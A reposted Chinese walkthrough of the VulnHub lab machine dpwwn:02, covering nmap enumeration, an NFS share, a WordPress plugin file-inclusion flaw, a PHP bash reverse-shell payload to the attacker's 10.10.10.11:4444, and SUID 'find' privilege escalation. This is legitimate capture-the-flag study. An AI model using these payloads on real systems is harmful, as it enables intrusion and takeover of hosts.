dpwwn:02

靶场下载地址

https://download.vulnhub.com/dpwwn/dpwwn-02.zip

环境配置

当打开此虚拟机环境的时候,可能会出现:当前硬件版本不支持设备“sata”。然后启动失败的情况~ 解决办法参考:https://www.cnblogs.com/yaodun55/p/16434468.html

此靶场环境为静态IP地址10.10.10.10,因此需要更改攻击机IP地址为10.10.10.0/24网段~

攻击机IP地址:

配置了两个网卡,一个是NAT,一个是仅主机;

信息收集

# nmap -sn 10.10.10.0/24 -oN live.nmap            
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:29 CST
Nmap scan report for 10.10.10.1
Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:13 (VMware)
Nmap scan report for 10.10.10.10
Host is up (0.00023s latency).
MAC Address: 00:0C:29:FB:00:9F (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00023s latency).
MAC Address: 00:50:56:FF:B3:34 (VMware)
Nmap scan report for 10.10.10.11
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.06 seconds 

判断靶机的地址为10.10.10.10;

# nmap -sT --min-rate 10000 -p- 10.10.10.10 -oN port.nmap      
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:36 CST
Nmap scan report for 10.10.10.10
Host is up (0.0018s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
443/tcp   open  https
2049/tcp  open  nfs
33187/tcp open  unknown
39137/tcp open  unknown
42939/tcp open  unknown
46841/tcp open  unknown
MAC Address: 00:0C:29:FB:00:9F (VMware)

端口开放情况,开放的端口比较多,80对应http 111端口是远程过程调用 443 https 2049对应nfs 后面的端口暂时不知道具体是什么服务;

# nmap -sT -sC -sV -O -p80,111,443,2049,33187,39137,42939,46841 10.10.10.10 -oN details.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:36 CST
Nmap scan report for 10.10.10.10
Host is up (0.00056s latency).PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      33187/tcp   mountd
|   100005  1,2,3      45827/tcp6  mountd
|   100005  1,2,3      48521/udp6  mountd
|   100005  1,2,3      48823/udp   mountd
|   100021  1,3,4      33481/udp6  nlockmgr
|   100021  1,3,4      34391/tcp6  nlockmgr
|   100021  1,3,4      45888/udp   nlockmgr
|   100021  1,3,4      46841/tcp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp  open  nfs      3-4 (RPC #100003)
33187/tcp open  mountd   1-3 (RPC #100005)
39137/tcp open  mountd   1-3 (RPC #100005)
42939/tcp open  mountd   1-3 (RPC #100005)
46841/tcp open  nlockmgr 1-4 (RPC #100021)
MAC Address: 00:0C:29:FB:00:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

服务的详细信息探测:80端口上是Apache2.4.38 443端口是https看起来和80端口上没什么区别,其他的端口是rpc的相关服务!

# nmap -sU --min-rate 10000 -p- 10.10.10.10 -oN udp.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:37 CST
Warning: 10.10.10.10 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.10
Host is up (0.0010s latency).
Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT      STATE SERVICE
111/udp   open  rpcbind
2049/udp  open  nfs
45888/udp open  unknown
47146/udp open  unknown
48823/udp open  unknown
57250/udp open  unknown
MAC Address: 00:0C:29:FB:00:9F (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.86 seconds

UDP端口的探测,结果显示如上端口开放,其中还是存在着RPC的相关服务,例如2049端口的NFS;由于之前测试过NFS的相关漏洞;因此这里选择渗透的优先级是 2049端口 之后如果没什么突破,就在80端口上寻找突破点~

渗透测试

利用showmount命令 参数-e 显示指定的NFS服务器中已被客户端连接的所有输出目录 :

showmount -e 10.10.10.10

发现了一个共享目录,利用mount命令挂载到我们的本地!

mkdir dpwwn2
mount -f nfs 10.10.10.10:/home/dpwwn02 ./dpwwn2

手动挂载完成之后,cd到dpwwn2目录下,什么都没有发现? 确认了一下自己的操作;没什么问题;转到80端口和443端口上进行突破!

80端口上暴漏出来的信息,显示的信息,实在告诉我们dpwwn02的目标是非常简单的,获取一个像root的shell~

源码中也没什么信息;尝试进行目录扫描:

目录扫描的结果可以看到,存在wordpress~ 尝试进行访问看:

没错确实是wordpress!那接下来就利用wpscan进行扫描:

点击“hello mate”之后,可以看到存在一个用户为admin! 利用wpscan发现确实存在一个用户为admin:

尝试对admin账号进行密码的枚举,发现失败了~

最后添加api token进行 插件等相关枚举:

发现了本地文件包含漏洞!

poc如上,利用curl进行请求:

成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后包含?

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.11/4444 0>&1"');?>

然后利用LFI漏洞进行包含,同时起监听:

成功收到会话~ 权限是www-data权限~

提权

查看wp-config.php文件内容:

看到了数据库的账号和密码信息:

dpwwn02
wpuser
wp$%bd(*&u$)rJmKa

想去看看mysql数据库中是不是存储着其他的用户信息,但是登录之后执行不了命令,一直卡住不知道具体原因是什么?

查看定时任务:

存在定时任务,但是 user并不是root 而是www-data,便没有办法去提权了~ 查找suid权限的文件:

find命令! 直接利用find命令进行提权了~ 利用find | GTFOBins

find . -exec /bin/sh -p \; -quit

读取root目录下面的flag文件!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/636045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

x-cmd pkg | fanyi - 命令行中英文翻译工具

目录 简介首次用户功能特点竞品和相关作品进一步探索 简介 fanyi 是命令行翻译工具&#xff0c;翻译数据来源于 icba.com 和 fanyi.youdao.com&#xff0c;仅支持中英文互译。支持 ChatGPT&#xff0c;可通过设置 OpenAI API 密钥以启用 ChatGPT 翻译。 注意&#xff1a;在 L…

Flink SQL

Flink SQL 来源&#xff1a;B站尚硅谷 sql-client准备 Table API和SQL是最上层的API&#xff0c;在Flink中这两种API被集成在一起&#xff0c;SQL执行的对象也是Flink中的表&#xff08;Table&#xff09;&#xff0c;所以我们一般会认为它们是一体的。Flink是批流统一的处理…

本地运行LlaMA 2的简易指南

大家好&#xff0c;像LLaMA 2这样的新开源模型已经变得相当先进&#xff0c;并且可以免费使用。可以在商业上使用它们&#xff0c;也可以根据自己的数据进行微调&#xff0c;以开发专业版本。凭借其易用性&#xff0c;现在可以在自己的设备上本地运行它们。 本文将介绍如何下载…

numpy数组的max、min、argmax和argmin计算方法

numpy数组的max、min、argmax和argmin计算方法 官方对numpy.max和numpy.min的说明 numpy.max 参考官方的理解 数组&#xff1a; 24611529 import numpy as npif __name__ __main__:a np.array([[2, 4, 6, 1], [1, 5, 2, 9]])print(a)print(np.argmax(a, axis0)) # ax…

Java医院信息管理系统

技术框架&#xff1a; springboot shiro layui jquery thymeleaf nginx 有需要的可以联系我。 运行环境&#xff1a; jdk8 mysql IntelliJ IDEA maven项目功能&#xff1a; 本项目是用springbootlayuishiro写的医院管理系统&#xff0c;系统的业务比较复杂&#x…

11 - PXC集群|MySQL存储引擎

PXC集群&#xff5c;MySQL存储引擎 数据库系列文章PXC集群配置集群测试集群 MySQL存储引擎存储引擎介绍mysql服务体系结构mysql服务的工作过程处理查询访问的工作过程处理存储insert访问的工作过程 什么是搜索引擎 存储引擎管理查看存储引擎修改存储引擎 存储引擎特点myisam存储…

canvas能压缩图片?

之前写过一篇使用命令行工具压缩图片的博文&#xff1a;使用yx-tiny命令行工具进行图片压缩&#xff0c;大家感兴趣可以去瞅一眼。 这篇简单说一下使用canvas压缩图片 其实思路很简单&#xff0c;我们选择了图片之后&#xff0c;会获取到对应的文件流对象&#xff0c;然后我们…

jvm复习,深入理解java虚拟机一:运行时数据区域

程序计数器&#xff08;Program Counter Register&#xff09; 它是程序控制流的指示器&#xff0c;简单来说&#xff0c;为了线程切换后能恢复到正确的执行位置&#xff0c;每条线程都需要有一个独立的程序计数器 Java虚拟机栈&#xff08;Java Virtual Machine Stack&#xf…

【LeetCode每日一题】2809. 使数组和小于等于 x 的最少时间

2024-1-19 文章目录 [2809. 使数组和小于等于 x 的最少时间](https://leetcode.cn/problems/minimum-time-to-make-array-sum-at-most-x/)思路&#xff1a; 2809. 使数组和小于等于 x 的最少时间 思路&#xff1a; 获取两个列表的长度n&#xff0c;并初始化一个二维数组f&…

一种更快的Kmeans原理与实现

普通的k-means实现大多需要多轮迭代,一轮需要O(n * k)的复杂度,其中n是数据量,k是聚类的数量。观察到大部分地方的标准均值中的大多数距离计算都是冗余的。 所以Elkan-Kmeans通过三角不等式来优化这一过程,减少无效计算。 困难在于三角不等式给出了上界,但我们需要下界以…

我在提交代码的时候突然发现别人刚才提交了一点代码,我没有拉取导致问题,请问怎么解决

问: 回答: 问: 我跟随输入git pull ,然后又以下提示: Merge branch systemPower_dev of https://xxxx.com into xxxx_dev # Please enter a commit message to explain why this merge is necessary, # especially if it merges an updated upstream into a topic branch. …

SELF自动化指令集构建代码实现

SELF-Instruct paper: 2022.12, SELF-INSTRUCT: Aligning Language Model with Self Generated Instructions https://github.com/yizhongw/self-instruct https://github.com/tatsu-lab/stanford_alpaca#data-generation-process 一语道破天机&#xff1a;类似非线性插值&a…

plt.animation绘制动画

目录 一&#xff1a;介绍 二&#xff1a;创建线动画 一&#xff1a;介绍 matplotlib.animation 是 Matplotlib 库中的一个模块&#xff0c;用于创建动画。它提供了多种工具和函数&#xff0c;使您能够轻松地创建各种类型的动画。 二&#xff1a;创建线动画 import numpy as…

【Linux】第三十站:进程间通信

文章目录 一、是什么二、为什么三、怎么办四、管道1.什么是管道2.管道的原理3.接口4.编码实现5.管道的特征6.管道的四种情况 一、是什么 两个或者多个进程实现数据层面的交互 因为进程独立性的存在&#xff0c;导致进程通信的成本比较高 通信是有成本的&#xff0c;体现在要打破…

【禅道】的介绍及安装使用

文章目录 一、禅道入门1.1 概述1.2 特点1.2.1 私有化部署&#xff08;禅道&#xff09;&#xff1a;1.2.2 SaaS云部署&#xff08;云禅道&#xff09;&#xff1a; 1.3 安装1.4 启动禅道 二、禅道的使用2.1 编辑公司信息2.2 搭建组织架构2.2.1 创建部门2.2.2 增加员工 2.2 产品…

Solana Mobile开启第二代Saga手机预售,怎么购买Solana Mobile?

PANews 1月17日消息&#xff0c;Solana Mobile官方宣布开启其第二代Saga手机&#xff08;Chapter 2&#xff09;的预售&#xff0c;预购押金为450美元&#xff0c;预计将于2025年上半年发货。同时&#xff0c;Chapter 2的发售将会包括推荐&#xff08;Referrals&#xff09;和积…

用MATLAB函数在图表中建立模型

本节介绍如何使用Stateflow图表创建模型&#xff0c;该图表调用两个MATLAB函数meanstats和stdevstats。meanstats计算平均值&#xff0c;stdevstats计算vals中值的标准偏差&#xff0c;并将它们分别输出到Stateflow数据平均值和stdev。 请遵循以下步骤&#xff1a; 1.使用以下…

sql570 | 至少有5名下属的经理 | join on | group by | having

讲给一张表&#xff0c;表字段分别为 id 、姓名、部分、经理id&#xff0c;可能存在张三既是下属也是经理 现在找出下属起码有5名员工的经理 CREATE TABLE Employee (id INT,name VARCHAR(255),department VARCHAR(255),managerId INT );INSERT INTO Employee (id, name, depar…

数据库的内连接和外连接

数据库的内连接和外连接 内连接: 两个或两个以上的表进行关联查询时&#xff0c;查询的结果集中 返回所有满足连接条件的行。 外连接: 两个或两个以上的表进行关联查询时&#xff0c;查询的结果集中 除了返回满足连接条件的行以外&#xff0c;还返回左&#xff08;或右&…

rabbitmq的介绍、使用、案例

1.介绍 rabbitmq简单来说就是个消息中间件&#xff0c;可以让不同的应用程序之间进行异步的通信&#xff0c;通过消息传递来实现解耦和分布式处理。 消息队列&#xff1a;允许将消息发到队列&#xff0c;然后进行取出、处理等操作&#xff0c;使得生产者和消费者之间能够解耦&…